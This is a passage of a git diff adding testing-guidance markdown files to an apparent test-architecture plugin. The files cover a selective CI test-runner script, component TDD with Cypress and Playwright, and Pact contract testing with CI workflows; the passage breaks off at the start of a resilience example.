+elif echo "$CHANGED_FILES" | grep -qE '(auth|login|signup|security)'; then
+  echo "🔒 Auth/security files changed. Running auth + smoke tests."
+  npm run test -- --grep "@auth|@smoke"
+  exit $?
+
+# API changes = run integration + smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '(api|service|controller)'; then
+  echo "🔌 API files changed. Running integration + smoke tests."
+  npm run test -- --grep "@integration|@smoke"
+  exit $?
+
+# UI component changes = run related component tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(tsx|jsx|vue)$'; then
+  echo "🎨 UI components changed. Running component + smoke tests."
+
+  # Extract component names and find related tests
+  components=$(echo "$CHANGED_FILES" | grep -E '\.(tsx|jsx|vue)$' | xargs -I {} basename {} | sed 's/\.[^.]*$//')
+  for component in $components; do
+    # Find tests matching component name
+    affected_specs+=$(find tests -name "*${component}*" -type f) || true
+  done
+
+  if [ -n "$affected_specs" ]; then
+    echo "Running tests for: $affected_specs"
+    npm run test -- $affected_specs --grep "@smoke"
+  else
+    echo "No specific tests found. Running smoke tests only."
+    npm run test -- --grep "@smoke"
+  fi
+  exit $?
+
+# Documentation/config only = run smoke tests
+elif echo "$CHANGED_FILES" | grep -qE '\.(md|txt|json|yml|yaml)$'; then
+  echo "📝 Documentation/config files changed. Running smoke tests only."
+  run_smoke_only=true
+else
+  echo "⚙️  Other files changed. Running smoke tests."
+  run_smoke_only=true
+fi
+
+# Execute selected strategy
+if [ "$run_all_tests" = true ]; then
+  echo ""
+  echo "Running full test suite..."
+  npm run test
+elif [ "$run_smoke_only" = true ]; then
+  echo ""
+  echo "Running smoke tests..."
+  npm run test -- --grep "@smoke"
+fi
+```
+
+**Usage in GitHub Actions**:
+
+```yaml
+# .github/workflows/selective-tests.yml
+name: Selective Tests
+on: pull_request
+
+jobs:
+  selective-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Run selective tests
+        run: bash scripts/selective-test-runner.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent routing**: Tests selected based on changed file types
+- **Tag-based filtering**: Use @smoke, @auth, @integration tags
+- **Fast feedback**: Only relevant tests run on most PRs
+- **Safety net**: Critical changes trigger full suite
+- **Component mapping**: UI changes run related component tests
+
+---
+
+## CI Configuration Checklist
+
+Before deploying your CI pipeline, verify:
+
+- [ ] **Caching strategy**: node_modules, npm cache, browser binaries cached
+- [ ] **Timeout budgets**: Each job has reasonable timeout (10-30 min)
+- [ ] **Artifact retention**: 30 days for reports, 7 days for failure artifacts
+- [ ] **Parallelization**: Matrix strategy uses fail-fast: false
+- [ ] **Burn-in enabled**: Changed specs run 5-10x before merge
+- [ ] **wait-on app startup**: CI waits for app (wait-on: '<http://localhost:3000>')
+- [ ] **Secrets documented**: README lists required secrets (API keys, tokens)
+- [ ] **Local parity**: CI scripts runnable locally (npm run test:ci)
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD pipeline setup)
+- Related fragments: `selective-testing.md`, `playwright-config.md`, `test-quality.md`
+- CI tools: GitHub Actions, GitLab CI, CircleCI, Jenkins
+
+_Source: Murat CI/CD strategy blog, Playwright/Cypress workflow examples, enterprise production pipelines_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/component-tdd.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/component-tdd.md
new file mode 100644
index 0000000..d14ba8f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/component-tdd.md
@@ -0,0 +1,486 @@
+# Component Test-Driven Development Loop
+
+## Principle
+
+Start every UI change with a failing component test (`cy.mount`, Playwright component test, or RTL `render`). Follow the Red-Green-Refactor cycle: write a failing test (red), make it pass with minimal code (green), then improve the implementation (refactor). Ship only after the cycle completes. Keep component tests under 100 lines, isolated with fresh providers per test, and validate accessibility alongside functionality.
+
+## Rationale
+
+Component TDD provides immediate feedback during development. Failing tests (red) clarify requirements before writing code. Minimal implementations (green) prevent over-engineering. Refactoring with passing tests ensures changes don't break functionality. Isolated tests with fresh providers prevent state bleed in parallel runs. Accessibility assertions catch usability issues early. Visual debugging (Cypress runner, Storybook, Playwright trace viewer) accelerates diagnosis when tests fail.
+
+## Pattern Examples
+
+### Example 1: Red-Green-Refactor Loop
+
+**Context**: When building a new component, start with a failing test that describes the desired behavior. Implement just enough to pass, then refactor for quality.
+
+**Implementation**:
+
+```typescript
+// Step 1: RED - Write failing test
+// Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+});
+
+// Run test: FAILS - Button component doesn't exist yet
+// Error: "Cannot find module './Button'"
+
+// Step 2: GREEN - Minimal implementation
+// Button.tsx
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+};
+
+export const Button = ({ label, onClick }: ButtonProps) => {
+  return <button onClick={onClick}>{label}</button>;
+};
+
+// Run test: PASSES - Component renders and handles clicks
+
+// Step 3: REFACTOR - Improve implementation
+// Add disabled state, loading state, variants
+type ButtonProps = {
+  label: string;
+  onClick?: () => void;
+  disabled?: boolean;
+  loading?: boolean;
+  variant?: 'primary' | 'secondary' | 'danger';
+};
+
+export const Button = ({
+  label,
+  onClick,
+  disabled = false,
+  loading = false,
+  variant = 'primary'
+}: ButtonProps) => {
+  return (
+    <button
+      onClick={onClick}
+      disabled={disabled || loading}
+      className={`btn btn-${variant}`}
+      data-testid="button"
+    >
+      {loading ? <Spinner /> : label}
+    </button>
+  );
+};
+
+// Step 4: Expand tests for new features
+describe('Button Component', () => {
+  it('should render with label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Submit" disabled={true} />);
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should show spinner when loading', () => {
+    cy.mount(<Button label="Submit" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles', () => {
+    cy.mount(<Button label="Delete" variant="danger" />);
+    cy.get('button').should('have.class', 'btn-danger');
+  });
+});
+
+// Run tests: ALL PASS - Refactored component still works
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Submit" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Red: Write failing test first - clarifies requirements before coding
+- Green: Implement minimal code to pass - prevents over-engineering
+- Refactor: Improve code quality while keeping tests green
+- Expand: Add tests for new features after refactoring
+- Cycle repeats: Each new feature starts with a failing test
+
+### Example 2: Provider Isolation Pattern
+
+**Context**: When testing components that depend on context providers (React Query, Auth, Router), wrap them with required providers in each test to prevent state bleed between tests.
+
+**Implementation**:
+
+```typescript
+// test-utils/AllTheProviders.tsx
+import { FC, ReactNode } from 'react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { BrowserRouter } from 'react-router-dom';
+import { AuthProvider } from '../contexts/AuthContext';
+
+type Props = {
+  children: ReactNode;
+  initialAuth?: { user: User | null; token: string | null };
+};
+
+export const AllTheProviders: FC<Props> = ({ children, initialAuth }) => {
+  // Create NEW QueryClient per test (prevent state bleed)
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false }
+    }
+  });
+
+  return (
+    <QueryClientProvider client={queryClient}>
+      <BrowserRouter>
+        <AuthProvider initialAuth={initialAuth}>
+          {children}
+        </AuthProvider>
+      </BrowserRouter>
+    </QueryClientProvider>
+  );
+};
+
+// Cypress custom mount command
+// cypress/support/component.tsx
+import { mount } from 'cypress/react18';
+import { AllTheProviders } from '../../test-utils/AllTheProviders';
+
+Cypress.Commands.add('wrappedMount', (component, options = {}) => {
+  const { initialAuth, ...mountOptions } = options;
+
+  return mount(
+    <AllTheProviders initialAuth={initialAuth}>
+      {component}
+    </AllTheProviders>,
+    mountOptions
+  );
+});
+
+// Usage in tests
+// UserProfile.cy.tsx
+import { UserProfile } from './UserProfile';
+
+describe('UserProfile Component', () => {
+  it('should display user when authenticated', () => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user, token: 'fake-token' }
+    });
+
+    cy.contains('John Doe').should('be.visible');
+    cy.contains('john@example.com').should('be.visible');
+  });
+
+  it('should show login prompt when not authenticated', () => {
+    cy.wrappedMount(<UserProfile />, {
+      initialAuth: { user: null, token: null }
+    });
+
+    cy.contains('Please log in').should('be.visible');
+  });
+});
+
+// Playwright Component Test with providers
+import { test, expect } from '@playwright/experimental-ct-react';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { UserProfile } from './UserProfile';
+import { AuthProvider } from '../contexts/AuthContext';
+
+test.describe('UserProfile Component', () => {
+  test('should display user when authenticated', async ({ mount }) => {
+    const user = { id: 1, name: 'John Doe', email: 'john@example.com' };
+    const queryClient = new QueryClient();
+
+    const component = await mount(
+      <QueryClientProvider client={queryClient}>
+        <AuthProvider initialAuth={{ user, token: 'fake-token' }}>
+          <UserProfile />
+        </AuthProvider>
+      </QueryClientProvider>
+    );
+
+    await expect(component.getByText('John Doe')).toBeVisible();
+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
